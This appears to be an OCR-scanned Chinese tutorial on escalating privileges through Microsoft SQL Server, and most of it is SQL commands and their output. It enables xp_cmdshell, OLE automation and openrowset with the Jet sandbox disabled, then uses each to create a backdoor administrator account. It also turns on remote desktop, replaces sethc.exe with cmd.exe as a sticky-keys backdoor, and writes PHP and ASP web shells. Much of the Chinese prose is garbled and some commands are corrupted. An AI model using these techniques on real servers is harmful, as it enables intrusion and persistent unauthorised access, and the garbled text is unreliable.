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select count(*) from master.dbo.sysobjects where xtype='x' and

name='sp_oacreate’;
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select count(*) from master.dbo.sysobjects where xtype='x' and namwe='sp oacreate'
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select routine_catalog,specific_schema,routine_name,routine_definition
from master.information_schema.routines

order by routine_name;
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SELECT ROUTINE_CATALOG, SPECIFIC_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION
FROM MASTER. INFORMATION SCHEMA.ROUTINES
ORDER BY ROUTINE_NAME
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1 master dbo “ create procedure dbo.sp_MScleanupmergepublisher as  exec sys.
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1. 3% %% SQL server #IEE, HE xp_cmdshell &3
select count(*) from master.dbo.sysobjects where xtype='x' and

name='xp_cmdshell;
\#t xtype IRER xtype='XZR R xp_cmdshell BNRER T BIEHE IR,

select count (") from master.dbo.sysobjects where xtype='x' and name='xp cmdshell' T
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o W xp_cmdshell #MIER, PILMERN T an< BRI

docc addextendedproc("xp_cmdshell","xplog70.dll");

o W1 %E xplog70.dll SXAESHAEMIBR, BILAL1E xplog70.dil #H471RE

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft
SQL Server\MSSQL\Binn\xplog70.dll';

2. BA xp_cmdshell ¥ BFETIZ

exec sp_configure 'show advanced options',T;

\# BUNIBR T sp_configure To/AE B E NS RECELLIN, show advanced
options” ARERNEN LIRS HNER/EEIRE, J "Erokil ZEN 1
i (BAHAMER 0) , AILAMERA sp_configure FlJH . B S RIEIN,



reconfigure;
# reconfigure fEIBEOIMATHILENER, &<, FERE SQlserver 5 £34,
exec sp_configure 'xp_cmdshell',T;

reconfigure;
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exec sp_configure 'show advanced options',6 1;
reconfigure;

exec sp_configure 'xp cmdshell', 1:
reconfigure;

‘show advanced options' [Wh 0 EEPX A l. 1BG{T RECONFIGURE
BCEEM 'xp_cudshell' BM o BHUA 1. @7 reconrrcurs FAHTRE.
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exec xp_cmdshell "whoami";
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exec xp_cmdshell 'vhoawi':;
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exec xp_cmdshell "net user estelle 123456/add"
exec xp_cmdshell "net localgroup administrators estelle /add"
exec xp_cmdshell "net user estelle"
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exec master.dbo.xp_cmdshell 'netstat —ano’;
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exec master.dbo.xp cmdshell 'netstat -ano'
< |
Daw | usl
| output
1| NULL
2 Active Connections
il MNULL
4 Proto Local Address Foreign Addre...
5 TCP 000080 0.00.0:0
3 TCP 0000135 0.0.0.0:0
7 TCP 0.00.0:445 0.0.0.0:0
8 TCP 0.00.0:1025 0.00.0:0
9 TCP 0.00.0:1433 0.00.0:0
10 TCP 0.00.0:2383 0.000:0
11 TCP 127.0.01:1028 00000
12 TCP 127.0.01:1434 00000
13 TCP 17216100.7:133  0.00.0.0
14 UDP 0.0.0.0:445 ":"
15 UDP 0.0.0.0.:500 ":"
16 UDP 00.0.0:1026 e
17 UDP 0.0.0.0:1031 e
18 UDP 0.0.0.0:4500 e
19 UDP 127.001:123 =
20 UDP 127.0.01:1027 uE
21 UDP 172161007123  %F
22 UDP 172161007137  °F
23 UDP 172161007138  %F
24 | NULL
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exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Con
trol\Terminal Server','fDenyTSConnections','REG_DWORD',0;
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exec master..xp_cmdshell "REG ADD
HKLMISYSTEMCurrentControlSetiControN Terminal" "Server v TDeny TSConnections



/t REG_ DWORD /d O /f"

exec xXp_cmdshell 'netstat —ano';
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exec master.dbo.xp regwrite' HKEY LOCAL MACHINE',' SYSTEMY Currentcr:
exec xp_cmdshell 'netstat -ano': I
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2 Active Connections

3 NULL

4 Proto Local Address Foreign Addiess  State PID

5 TCP 0.0.0.0:80 00000 LISTENING 4

6 TCP 0.000:135 0.0.00:0 LISTENING 708

7 TCP 0.0.0.0:445 0.0.00:0 LISTENING 4

g TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 440

9 TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 1404

10 TCP 0.00.0:2383 0.0.0.0:0 LISTENING 1448

11 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 2840]

12 TCP 127.0.01:1028 0.000:0 LISTENING 2804

13 TCP 127.0.0.1:1434 0.000:0 LISTENING 1404

14 TCP 172161007133 00000 LISTENING 4

15 UDP 0.0.0.0:445 = 4

16 UDP 0.0.0.0:500 = 440

17 UDP 0.0.0.0:1026 uE 768

18 UDP 00001031 nE 768

19 UDP 0.0.0.0:4500 e 440

20 UDP 127.0.0.1:123 812

21 UDP 127.0.0.1:1027 uE 812

22 UDP 172161007123  *° 812

25 UbP 172161007137  =° 4

24 UbP 172161007138  =° 4
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psoft Corp.
\Documents and Settings“hacker. ANY—-801 .001 >ipconfig

Windows IP Configuration

Ethernet adapter -1

Connection

IP Addw : 172.16.108.178
Subnet : 25¢ .2 il
Default G jay H .16.188.254

wcuments and Settingsshacker.ANY-001 .001 >net user

\\ANY-881 (Y P

admin Admi strator Guest
IUSR_ANY-861 TWAM_ANY-861

7. =

e X7 3389 i
exec

master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Con
trol\Terminal Server','fDenyTSConnections',REG_DWORD!',1;

o XH xp_cmdshell ¥ BIFMEITFZ

exec sp_configure 'xp_cmdshell',0;
reconfigure;

exec sp_configure 'show advanced options',0;



reconfigure;
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1. Hep—FfnEr] DUMER ecmd a2 T8 R . xp_dirtree. xp_subdirs 5 T IREX

BITIRIR
execute xp_dirtree 'c:' # TR o\ X, BxR. FEX
execute xp_dirtree 'c:',1 # R c\ Bx

execute xp_dirtree 'c:',1,1 #%)c\ Bx. X
exec xp_cmdshell "echo' <?php @eval($_POST[123]);7">'>c:\2.php" # EXRG

1 exec sp_configure 'show advanced options®,l;
2 reconfigure;

3  exec sp_configure 'xp_cmdshell®,1;

4 reconfigure;

exec xp_cmdshell “echo '"<?f@eval($ POST[123]);7°>" > c:\2.php"

un
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File Name | File attribute |
“esrod dina ¢

S Price , pm, ==

DI "dem « files

&)2a0 files

“Hate files

Dcsy Folder

Dgsm Folder
Dgsppem= Folder

Folder
files
Folder
Folder
files
files
files
files
files

=. By
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xp_regdeletekey. xp_regdeletevalue. xp_regwrite. sp_oacreate. sp_oadestroy.
sp_oagetErrorinfo. sp_oagetProperty. sp_oamethod. sp_oasetProperty.
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AR xp_cmdshell ¥ BIFEIFEHMIPRENE o) 51ER, JLMER sp_oacreate
sp_oamethod BB A4 wscript.shell RMATRA S @<, Sp_oacreate & —1IEE B HITFNE
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sp_oacreate 1 sp_oamethod M M0 B AREIEFNTHIAES, RS 22
xp_cmdshell BEM4THY sp_oacreate +sp_oamethod [EIFERERE(E,

A wscript.shell 11T <
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1. #BF sp_oacreate JA

7£ master.dbo.sysobjects H&EE sp_oacreate A, EIEN 1 KEXHE.

select count(*) from master.dbo.sysobjects where xtype='x' and
name='SP_OACREATE";

ANT-001. mas. . . Ljueryl. :ql‘l’m
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp oacreate'
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2. BEXRFE, WATU TS sp_oacreate (A OLE Automation Procedures)

exec sp_configure 'show advanced options',T;
reconfigure;
exec sp_configure 'Ole Automation Procedures',T;

reconfigure;



4 ANT-001. mas. . . Lueryl. sqltm
exec sp_configure 'show advanced options',1:
reconfigure;
exec sp_configure 'ole automation procedures',l:
reconfigure:

) HE
‘show advanced options' [0 O PP A 1, |#)&{T RECONFIGURE SRET
BB %IN '0le Automation Procedures' MM o WAy 1. EHEfT RECONFILL )

Y= ole automation procedures B, X sp_oacreate RIAABEAER) OLE XE=HATIR

%,

3. 4% (I8A wscript.shell #i478p%)

declare @shell int; # FEE—"ZE @shell

exec sp_oacreate 'wscript.shell',@shell output;

# 16/ sp_oacreate 1R wscript.shell A, FHREIMNXRFEE] @shell L=
exec sp_oamethod @shell,'run’,null,'c:\winnt\system32\cmd.exe /c net user estelle
123456 /add';

# ¥ sp_oamethod 1A @shell IR run 7575, HATRZIGAMNINES, nul
& run B ARIREIE, mIlEAEEARREE, PAASR null,

exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup
administrators estelle /add'

# B PAINEIEERE.,

4. mMERE

exec sp_configure “ole automation procedures”,0
reconfigure
exec sp_configure “show advanced options” , 0

reconfigure

M E21#F sp_oacreate IIRAVEE), EORLEEA OLE XI5 (Object Linking and
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=24 sp_oacreate fx 7 AJAEA OLE WRMATAR S/, BLeEENBENIN. rMILEEER
% (FI&E): https://y4er.com/post/mssgl-getshell/) , BEANEZ,
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declare @o int
exec sp_oacreate 'scripting.filesystemobject’, @o out
exec sp_oamethod @o, 'copyfile’,null,'c:\windows\explorer.exe'

,'c:\windows\system32\sethc.exe'
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declare @aa int;
exec sp_oacreate 'scripting.filesystemobject', @aa out;

exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmil.log";

MIBR S {4

DECLARE @Result int

DECLARE @FSO_Token int

EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @-SO_Token
OUTPUT

EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile’, NULL, 'C:\1.txt'
EXEC @Result = sp_OADestroy @FSO_Token

WM shell.application #1785 %

declare @o int

exec sp_oacreate 'Shell. Application',@o out

exec sp_oamethod @o, 'ShellExecute’,null,'cmd.exe','cmd /¢ net user
>C:\1.1xt','C:\windows\sytsem32',",'1"

BiRHGHER (360 REMMURIRFIL)

BIRSHATIRN, RRGXEH setch.exe B cmd.exe, AT T —1 shift /a1,
oy 2 o] DA KB S THRE TR AT



declare @o int;

exec sp_oacreate 'scripting.filesystemobject’, @o out;

exec sp_oamethod @o, 'copyfile',null,'c:\windows\cmd.exe'
,'c:\windows\system32\sethc.exe';

declare @oo int;

exec sp_oacreate 'scripting.filesystemobject’, @oo out;

exec sp_oamethod @oo, 'copyfile’,null,'c:\windows\system32\cmd.exe'
J'c:\windows\system32\dllcache\sethc.exe’;

# EMTE_HS, XHERME

RINfE 3389 B RIL X shift §, 1B omd, FATRIIEIERARF &<, HITREN,

// J:D:LTKE%QR

o HHITARAETEEAN, AIMMERNERHTIRN, WERX (SandBoxMode) &
—FhZRINEE, VBRI, Access ANIEHMFEREETNZE BASEBEENI
E’J%%L“Hdé MRFANAE B T BELUEM A VIR R R B 1, WEIIARN

S22, HE0, EW Kill M Shell Z MR8 %&ﬁﬁ%?ﬁ%ﬁ%ﬂiﬁ@*ﬁ%%ﬂ
ﬁUfF AL EIHEIATNZ 2R, B Access DUV BIEINGITH, EAXLLRERIR
KRB ETEBIRER.

e OLE DB
OLE DB Driver for SQL Server 2 BT 1A0UENEE COM API, 2N Az F iz
SQL Server BAYIRENFEF .

SLEBBUEMER, BUABR T, JERD mdb FIEEADTFRITRGHS
A’f%*i F/EVE mdb XAFATEURERE, WU E18HIVIEA mdo SXHF, #L
AGAGECHTRS, 2 mdb XN TS,
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e

select * from

openrowset('microsoft jet.oledb.4.0',;database=c:\windows\system32\ias\ias.mdb',

lanlant challl"~ArnA Aava /-~ vadAsanai )
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MATU EEOERNASEIREER, WH:
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select * from

openrowset ('microsoft.jet.oledb.4.0', ' ;database=c:\windows\system32\ias\ias.mdb', 'select
shell("cmd.exe /c whoami™)' )|

XiwBE Ad Hoc Distributed Queries A<, AT AER sp_configure &3 F1ZA X,
HATU a2

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;

reconfigure;

ANT-001.mas. . . LQueryl. sql®

exec sp_configure 'show advanced options',1;
reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

1]

LB M ‘show advanced options' M 0 BBPUA) 1, JMIG{T RECONFIGURE B alift{TR%

BB 'Ad Hoc Distributed Queries’ DM 0 ﬁ&% L. JEIEfT RecoNFIcURE i“'-,4 Zi

2. KA ERRT
DaERATIMERFNUER
HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode,
WEET SandBoxMode &Y. (BHAK 2)



O: O BEPRRILEHZERTIV;
10 NNFERTFCEAS
2 IAIRTE access =T
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R2ITR:

PRV EAREN O Mipl XAV ERIN, AT Fan<

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE \Microsoft\Jet\4.0\Engines','SandBoxMode'
JREG_ DWORD',0;

3. 1M
BRAEWITAZ WS, RERERACSERAN.

select * from
openrowset('microsoft.jet.oledo.4.0',;database=c:\windows\system32\ias\ias.mdb',
'select

shell("cmd.exe /c whoami")');

N1+ openrowset 1E select iIBE)FANT “FK” BAIEIR? FEN openrowset BREIR]ATEE1H
f9 FROM FE8)F5|F, fkiE OLE DB 12{&f2+09IhEE T\TMH openrowset RIS IARN
insert. update 8§ delete IEG)HBIRE. RE’é‘ﬂTﬁuL NERBE (B openrowset 2
REE—NERE, openrowset MBI AER bulk hﬁﬁﬂ%i‘i%ﬁ%i} RAE, EEETM
RMER, 7BEMUHZEEEF B EIRIE N TERE]

ZBEPATRIZE, . MAEEAAT®HL,

select * from
openrowset('microsoft.jet.oledo.4.0',;database=c:\windows\system32\ias\ias.mdb',
'select

shell("cmd.exe /c net user estelle 123456 /add")');

select * from
openrowset('microsoft.jet.oledo.4.0',;database=c:\windows\system32\ias\ias.mdb',
'select

shell("cmd.exe /¢ net localgroup administrators estelle /add")');



DERIN, MENERIVEBRITARWIED, MekiE.

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE \Microsoft\Jet\4.0\Engines','SandBoxMode'
,REG_DWORD',2

St e

MSSQL ZH&D, MEMI—REMIEXNLL, BA—HNNEEN T, X, REF—X
', BAFNNE, ZFENHMAIUERNBANAST SN LR, mmEX &) SUFEARN
ARG/, BBEETERIZLIURE BIn RIS AR,

backup database DB_Name to disk='"Bin X417 / BnX (3. bak'

B EEEONBEEHITED

create table estelle(test image)

# R NER, BEMMI—DFE, AREFHARS

insert into estelle
values(0x3C25657865637574652872657175657374282261222929253E)
#BEARDI/AFKRD (values BIEN <%execute(request('a"))%> BTN Hl)
backup database DB_Name to disk='BfrnX A2 / BIinX 4. asp' with
differential,format

it BFED, NREMEBEANHG

NG

SA XBR

e TF1E xp_cmdshell BY (£ xp_cmdshell #yTas R INAEF, 2 EIEIR A A EF]
Fi&2 xp_cmdshell,

e xp_cmdshell FE3AERET (75 sp_oacreate H/Tam<, B HIEIR T A ER]
JIFEO

o HMIT@LTIEERNIT I IR EIEMN

Pl p— B



1823 Xp_regwrite 11 openrowset

o HRF xp_regwrite BRI B AENITALEHE (sethc.exe)
B xp_regwrite 1EE0TMEE.

#WE—"TE: PowerUpSQL, =& T3 SQL Server B HE, MEERIES 2 AN SQL
Server BUtlgs, EZHERE A E] GitHub BEFH.

MSSQL RZHEFIRRETAINABNXE, TBERZAIESHEL, FEECHRIN,
ZETE:

https://blog.51cto.com/11797152/2411770
https://www.cnblogs.com/jerrylocker/p/10938899.html

https://y4er.com/post/mssqgl-getshell/



